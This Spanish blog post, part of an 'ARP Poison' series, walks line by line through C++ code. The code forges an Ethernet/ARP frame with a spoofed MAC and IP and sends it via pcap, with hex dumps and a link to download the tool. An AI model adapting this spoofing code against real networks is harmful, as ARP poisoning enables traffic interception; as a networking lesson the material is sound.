Wednesday, January 4, 2012

ARP Poison 3 Código...

           Ahora verás como está construido el código, los puntos tratados en este simple código son:

  1. Crear La cabecera Ethernet. 
  2. Crear La cabecera ARP. 
  3. Transpasar ambos a una sola cadena. 
  4. Enviar los datos por la red.

          Según como viste las definiciones en los puntos ARP Poison 1 y 2, ahora serán utilizadas dichas estructuras para asignarles los campos que queramos para que sean enviados por la red, primero echale un vistazo al código y luego iré comentando linea a linea.

#include "Crossover/Crossover.h"

using namespace Crossover::Framework::Net::Protocols;
using namespace Crossover::Framework::Net;
using namespace std;


#define HL 6 // Hardware len
#define PL 4 // Protocol len


int main(){

 try
 {
  //Creando Cabecera ETHERNET
  struct Ethernet tEthernet;
  memset(&tEthernet,0,sizeof(tEthernet));
  memcpy(tEthernet.dst, "\xFF\xFF\xFF\xFF\xFF\xFF", HL);
  memcpy(tEthernet.src, "\xAA\xAA\xAA\xAA\xAA\xAA", HL);
  tEthernet.type = htons( ETHERNET_TYPE_ARP);

  //Creando Cabecera de ARP
  struct ARP tARPheader;
  memset(&tARPheader, 0, sizeof(tARPheader));

  //ETHERNET_TYPE_ETHER -> Ethernet.h
  tARPheader.hrd = htons( ETHERNET_TYPE_ETHER); 

  //ETHERNET_TYPE_IP -> Ethernet.h
  tARPheader.pro = htons( ETHERNET_TYPE_IP);   
  tARPheader.hln = HL;
  tARPheader.pln = PL;
  tARPheader.op = htons( ARP_OP_REQUEST);

  //Asignando la ip de origen
  unsigned char szDestSourceIP[4];
  char szSourceIP[80]; 
  strcpy( szSourceIP, "2.2.2.2");
  Converter::hip2mip( szSourceIP , szDestSourceIP);

  memcpy(tARPheader.sha, "\xAA\xAA\xAA\xAA\xAA\xAA", HL);
  memcpy(tARPheader.spa, szDestSourceIP, PL);

  //Asignando la ip de destino
  unsigned char szDestTargetIP[4];
  char szTargetIP[80]; 
  strcpy( szTargetIP, "1.1.1.1");
  Converter::hip2mip( szTargetIP, szDestTargetIP);

  memcpy(tARPheader.tha, "\x00\x00\x00\x00\x00\x00", HL);
  memcpy(tARPheader.tpa, szDestTargetIP, PL);


  Wrapcap oWrapcap;
  oWrapcap.open();


  char *szBuff = (char *) malloc(1024);
  memcpy(szBuff, (char*) &tEthernet, sizeof(tEthernet));
  memcpy(&szBuff [ sizeof(tEthernet)], (char*) &tARPheader
    , sizeof(tARPheader));

  oWrapcap.send((u_char*) szBuff, sizeof(tEthernet) + sizeof(tARPheader));
 

//  while(1){
//   oWrapcap.send((u_char*) szBuff, sizeof(tEthernet) + sizeof(tARPheader));
//   Sleep(1000);
//  }

 }
 catch(Exception ex)
 {
  cout << ex.message() << " OS: " << ex.systemMessage() << endl;
 }
 return 0;

}

#include "Crossover/Crossover.h"

         Esta es la referencia a todas las cabeceras necesarias para crear el código, que apuntan incluso al framework, que es un conjunto de clases, creadas para hacer más optimo y mantenible el código NOTA: Si estas muy perdido, puedes descargarte los papers de iniciación a la programación en C++, creados para los foros de UNDERC0DE y continuados por el equipo de desarrollo Exseption.

using namespace Crossover::Framework::Net::Protocols; 
using namespace Crossover::Framework::Net; 
using namespace std;

         Estos son los nombres de espacios, te fijastes que las estructuras Ethernet y ARP están contenidas en el espacio de nombre Crossover::Framework::Net::Protocols, en el espacio de nombre namespace Crossover::Framework::Net, está contenida la clase Wrapcap, que es la encargada de enviar el paquete, ya te comentaré de esta, el nombre de espacio std ya sabes para que es, ¿no sabes?, puedes apoyarte de los papers o puedes investigar más con tu buscador preferido. La siguiente imagen es la estructura de directorios donde están organizadas las clases.



#define HL 6 // Hardware len
#define PL 4 // Protocol len

 Estas lineas (macros) definen los largos para el campo de mac (Hardware Len) y el campo de ipv4 (Protocol Len)

//Creando Cabecera ETHERNET struct Ethernet tEthernet; memset(&tEthernet,0,sizeof(tEthernet)); memcpy(tEthernet.dst, "\xFF\xFF\xFF\xFF\xFF\xFF", HL); memcpy(tEthernet.src, "\xAA\xAA\xAA\xAA\xAA\xAA", HL); tEthernet.type = htons( ETHERNET_TYPE_ARP);  

En las siguientes lineas se define la cabecera Ethernet, la estructura Ethernet está definida  en el archivo de cabecera "Ethernet.h", ubicado en el directorio Crossover/Framework/Net/Protocols , el nombre de espacio en el cual se encuentra es la misma ruta de directorios donde se aloja.

 En la linea "memset(&tEthernet,0,sizeof(tEthernet));" se vacía la estructura a valores cero,  ya que por defecto en C/C++ los valores asignados son valores basura, aunque no debería afectar su  resultado si es que se asignaran todos los campos de la estructura. (Si no conoces el prototipo de memset  o sizeof, es hora de que te pongas a investigar gooleando o por otro que conozcas.

  Luego en "memcpy(tEthernet.dst, "\xFF\xFF\xFF\xFF\xFF\xFF", HL);" se asigna la mac de destino, es preciso que te familiarices con esta notación, te servirá para interpretar los paquetes tanto con un sniffer como en la misma depuración.

hasta el momento llevamos la mac de destino el paquete quedaría de esta manera
FF FF FF FF FF FF 00 00 00 00 00 00 00 00   

la cabecera ethernet solo esta compuesta de 14 bytes, los 6 primeros bytes representan la mac de destino 

La siguiente linea "memcpy(tEthernet.src, "\xAA\xAA\xAA\xAA\xAA\xAA", HL);" asignará los 6 próximos  bytes quedando asi:
FF FF FF FF FF FF AA AA AA AA AA AA 00 00  


tEthernet.type = htons( ETHERNET_TYPE_ARP); esta linea asignará el código del siguiente protocolo, para que el núcleo al desempaquetar sepa como obtener los campos del protocolo superior ARP, o si no podría confundirse. htons( ) es una función definida en el archivo <netinet/in.h> para usuarios  linux, y en <Winsock2.h> para usuarios windows, el objetivo de esta función es dejar los bytes en el orden  de la red, solo invierte los bytes 13 y 14 cambiándolos de orden, si no se hiciese esto, los bytes irían en un orden que no entendería luego el OS.


la constante ETHERNET_TYPE_ARP está definida en el archivo header "Ethernet.h" y su valor es el siguiente: #define ETHERNET_TYPE_ARP 0x0806
FF FF FF FF FF FF AA AA AA AA AA AA 08 06  

Si no se utilizara htons (host to network short) los bytes irían como:  
FF FF FF FF FF FF AA AA AA AA AA AA 06 08 (malo)  


//Creando Cabecera de ARP

struct ARP tARPheader; 
memset(&tARPheader, 0, sizeof(tARPheader)); //Ethernet.h 
tARPheader.hrd = htons( ETHERNET_TYPE_ETHER); //Ethernet.h 
tARPheader.pro = htons( ETHERNET_TYPE_IP); 
tARPheader.hln = HL; 
tARPheader.pln = PL; 
tARPheader.op = htons( ARP_OP_REQUEST); 


//Asignando la ip de origen 
unsigned char szDestSourceIP[4];
char szSourceIP[80];
strcpy( szSourceIP, "2.2.2.2"); 
Converter::hip2mip( szSourceIP , szDestSourceIP); 


memcpy(tARPheader.sha, "\xAA\xAA\xAA\xAA\xAA\xAA", HL); 
memcpy(tARPheader.spa, szDestSourceIP, PL); 


//Asignando la ip de destino 
unsigned char szDestTargetIP[4]; 
char szTargetIP[80]; 
strcpy( szTargetIP, "1.1.1.1"); 
Converter::hip2mip( szTargetIP, szDestTargetIP); 


memcpy(tARPheader.tha, "\x00\x00\x00\x00\x00\x00", HL);
memcpy(tARPheader.tpa, szDestTargetIP, PL);


Luego comienza la creación de la cabecera ARP, que es la parte fundamental de la célula, la  cabecera ARP esta definida en el archivo ARP.h.


memset(&tARPheader, 0, sizeof(tARPheader)); en esta línea se hace lo mismo que el anterior.   El paquete estaría quedando como sigue:

FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 00 00 00 00 00 00 00 
00  00 00  00 00  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00


tARPheader.hrd = htons( ETHERNET_TYPE_ETHER); idem
El paquete por ahora estaría definido de la siguietne manera
FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  


tARPheader.pro = htons( ETHERNET_TYPE_IP); 
FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  


tARPheader.hln = HL; header len. tARPheader.pln = PL; protocol len   
FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 06 04 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  


tARPheader.op = htons( ARP_OP_REQUEST); esta indica que será una solicitud.
FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 06 04 00 01  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  

 //Asignando la ip de origen unsigned char szDestSourceIP[4]; En esta linea se asignará la ip destino, solo se requieren 4 bytes para asignar la ipv4.


char szSourceIP[80]; Aquí es donde se almacenará la ip en formato decimal.


strcpy( szSourceIP, "2.2.2.2"); Se asigna "2.2.2.2" a szSourceIP


Converter::hip2mip( szSourceIP , szDestSourceIP); Esta función definida en el archivo de cabecera "Converter.h" (ver imagen de arbol de direcctorios), traspasa la ip en formato legible (Numeración decimal) al formato maquina, asignando la ip "2.2.2.2" solo en 4 bytes.  


memcpy(tARPheader.sha, "\xAA\xAA\xAA\xAA\xAA\xAA", HL); Mac de origen, directamente a 6 bytes gracias a las secuencias de escape \x.


memcpy(tARPheader.spa, szDestSourceIP, PL); ip de origen  
FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 06 04 00 01 
AA AA AA AA AA AA 02 02 02 02 00 00 00 00 00 00 00 00 00 00  


//Asignando la ip de destino 
unsigned char szDestTargetIP[4]; 
char szTargetIP[80]; 
strcpy( szTargetIP, "1.1.1.1");
Converter::hip2mip( szTargetIP, szDestTargetIP);
memcpy(tARPheader.tha, "\x00\x00\x00\x00\x00\x00", HL); 
 memcpy(tARPheader.tpa, szDestTargetIP, PL);  


FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 06 04 00 01 
AA AA AA AA AA AA 02 02 02 02 00 00 00 00 00 00 01 01 01 01  


Con esto ya se ha completado el paquete, ahora queda enviarlo por la red, sigamoscon el código. La siguiente linea "Wrapcap oWrapcap;" es la clase que envuelve la funcionalidad de la API pcap, pcap es un conjunto de funciones o interfaces que facilitan la manipulación de paquetes que viajan por la red, esta API es usada para captura de paquetes tanto como envío de paquetes, la ventaja de esta API es que es multiplataforma, se ha envuelto esta API para facilitar su lectura y simplificar el código en partes, además de separar la complejidad de tratamiento de esta en simples llamadas a métodos.

La linea "oWrapcap.open();" se encarga de obtener un dispositivo por defecto para poder luego enviar o capturar paquetes por la red, en este caso se enviará un paquete de solicitud por la red como forma de prueba. 

Las siguientes 3 lineas traspasarán las estructuras Ethernet y ARP a una secuencia de bytes del tipo char. Se realiza una reserva de espacio de 1024 bytes. char *szBuff = (char *) malloc(1024);

Luego a szBuff se le asigna todos los campos de la estructura tEthernet
memcpy(szBuff, (char*) &tEthernet, sizeof(tEthernet));

En este momento la cadena szBuff tendría los siguientes bytes:
FF FF FF FF FF FF AA AA AA AA AA AA 08 06

Después en la cadena szBuff se avanzan los bytes necesarios para llegar al último y uno más después de la cabecera tEthernet si no se avanza se remplazarían bytes de la cabecera tEthernet, de esta forma szBuff[total de bytes de cabecera ethernet] avanzamos justo una posicion mas del termino de la cabecera y luego se le pasa la dirección de memoria con el operador &, para que desde este punto se asigne la cabecera ARP.
memcpy(&szBuff [ sizeof(tEthernet)], (char*) &tARPheader , sizeof(tARPheader));

Ahora la cadena szBuff contiene:

FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 06 04 00 01 
AA AA AA AA AA AA 02 02 02 02 00 00 00 00 00 00 01 01 01 01


Finalmente se envía el paquete por la red con el método send de la clase Wrapcap, que como primer parámetro recibe un tipo u_char* (unsigned char *, declarado en pcap/pcap.h), y luego el total de bytes a transmitir que sería la suma de bytes de ambas cabeceras, en total se enviarían 14 bytes de cabecera ethernet y 28 para ARP, puedes luego optimizar el código para que la cadena szBuff no requiera tanto peso como 1024 bytes que no fue necesario utilizar.
oWrapcap.send((u_char*) szBuff, sizeof(tEthernet) + sizeof(tARPheader));

Puntos finales sobre el termino de esta entrada, luego publicaré el código completo para que puedas desentrañar su funcionamiento y entenderlo, también explicaré como probar su funcionamiento con un sniffer tshark en este caso, si te atrapa la ansiedad puedes probar el código inmediatamente con cualquier sniffer si es que te manejas con otro.

Un punto que se me escapaba, la parte del try catch es una estructura de control de errores, si dentro del bloque try se produjera cualquier error, este saltaría al bloque catch, que dentro de los operadores ( ) esta la declaración de Exception exception es una clase que contiene el detalle del error tanto de alguna clase como del mismo detalle del error del sistema operativo, también podrás ver su código y entenderlo.    


Si un punto les parece difícil me comentan o me envían un mail, para explicarlo a mejor entender.


Aquí el link de descarga del codigo:


http://arp-poison.googlecode.com/files/Wrapcap_v1.tar


Por ahora esta solo funcionando para linux, aunque puede que funcione en windows, para compilarlo en linux solo tienen que poner make en la consola, es necesario instalar la libreria pcap, por lo tanto deberás instalar esta antes de compilar con el comando make.



No comments:

Post a Comment